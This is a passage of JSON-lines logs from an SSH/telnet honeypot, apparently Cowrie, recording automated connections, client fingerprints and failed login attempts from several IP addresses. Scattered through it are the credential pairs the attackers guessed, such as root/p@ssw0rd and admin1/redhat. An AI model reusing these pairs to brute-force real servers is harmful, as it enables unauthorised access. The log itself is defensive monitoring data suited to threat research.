f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.908546Z","src_ip":"103.252.123.105","session":"54f3463ff3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turkey","password":"turkey","message":"login attempt [turkey/turkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:43.858465Z","src_ip":"103.252.123.105","session":"54f3463ff3a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"f87f9a9076d6","protocol":"telnet","message":"New connection: 102.37.220.188:60436 (159.203.135.109:23) [session: f87f9a9076d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:44.996362Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:45.090026Z","src_ip":"103.252.123.105","session":"54f3463ff3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:45.705805Z","src_ip":"91.92.42.227","session":"2eda8aafaab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35332,"dst_ip":"10.17.0.5","dst_port":22,"session":"3067fca21822","protocol":"ssh","message":"New connection: 45.156.87.147:35332 (10.17.0.5:22) [session: 3067fca21822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:46.839610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:46.844525Z","src_ip":"45.156.87.147","session":"3067fca21822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:46.927268Z","src_ip":"45.156.87.147","session":"3067fca21822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:47.179970Z","src_ip":"45.156.87.147","session":"3067fca21822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:47.496346Z","src_ip":"91.92.42.227","session":"2eda8aafaab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:48.273206Z","src_ip":"45.156.87.147","session":"3067fca21822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53588,"dst_ip":"10.17.0.5","dst_port":22,"session":"02214bdd10af","protocol":"ssh","message":"New connection: 91.92.42.227:53588 (10.17.0.5:22) [session: 02214bdd10af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:48.593858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:49.283854Z","src_ip":"91.92.42.227","session":"02214bdd10af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:49.287402Z","src_ip":"91.92.42.227","session":"02214bdd10af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60002,"dst_ip":"10.17.0.5","dst_port":22,"session":"95fc7d9f9ca8","protocol":"ssh","message":"New connection: 45.156.87.147:60002 (10.17.0.5:22) [session: 95fc7d9f9ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:52.776268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:52.782547Z","src_ip":"45.156.87.147","session":"95fc7d9f9ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:52.870641Z","src_ip":"45.156.87.147","session":"95fc7d9f9ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:53.121659Z","src_ip":"45.156.87.147","session":"95fc7d9f9ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d998b07ebb9","protocol":"telnet","message":"New connection: 128.199.8.54:36860 (159.203.135.109:23) [session: 2d998b07ebb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:53.189575Z"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:53.233993Z","src_ip":"91.92.42.227","session":"02214bdd10af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:54.220744Z","src_ip":"45.156.87.147","session":"95fc7d9f9ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21648406982422,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:54.695901Z","src_ip":"103.249.87.183","session":"09a469eb4920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:55.090789Z","src_ip":"91.92.42.227","session":"02214bdd10af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37932,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c45f3e57f34","protocol":"ssh","message":"New connection: 91.92.42.227:37932 (10.17.0.5:22) [session: 5c45f3e57f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:55.319202Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56818,"dst_ip":"159.203.135.109","dst_port":23,"session":"11bf7f67b3ea","protocol":"telnet","message":"New connection: 128.199.8.54:56818 (159.203.135.109:23) [session: 11bf7f67b3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:55.399619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:56.082855Z","src_ip":"91.92.42.227","session":"5c45f3e57f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:56.086083Z","src_ip":"91.92.42.227","session":"5c45f3e57f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":32846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce569850d1a5","protocol":"ssh","message":"New connection: 103.77.175.15:32846 (10.17.0.5:22) [session: ce569850d1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:57.362697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:57.367133Z","src_ip":"103.77.175.15","session":"ce569850d1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:57.625942Z","src_ip":"103.77.175.15","session":"ce569850d1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1234","message":"login attempt [root/wwww1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:58.400842Z","src_ip":"103.77.175.15","session":"ce569850d1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60044,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dff191e2f3a","protocol":"ssh","message":"New connection: 45.156.87.147:60044 (10.17.0.5:22) [session: 3dff191e2f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:58.778722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:58.856719Z","src_ip":"45.156.87.147","session":"3dff191e2f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:58.940587Z","src_ip":"45.156.87.147","session":"3dff191e2f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:59.192530Z","src_ip":"45.156.87.147","session":"3dff191e2f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:59.659260Z","src_ip":"103.77.175.15","session":"ce569850d1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:00.276519Z","src_ip":"45.156.87.147","session":"3dff191e2f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:00.795879Z","src_ip":"91.92.42.227","session":"5c45f3e57f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37964,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffaed42680fe","protocol":"ssh","message":"New connection: 91.92.42.227:37964 (10.17.0.5:22) [session: ffaed42680fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:01.871271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:02.903393Z","src_ip":"91.92.42.227","session":"ffaed42680fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:02.911258Z","src_ip":"91.92.42.227","session":"ffaed42680fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:02.918541Z","src_ip":"91.92.42.227","session":"5c45f3e57f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df6350f387e","protocol":"ssh","message":"New connection: 45.156.87.147:41216 (10.17.0.5:22) [session: 8df6350f387e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:04.697088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:04.700811Z","src_ip":"45.156.87.147","session":"8df6350f387e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:04.785478Z","src_ip":"45.156.87.147","session":"8df6350f387e","protocol":"ssh"}
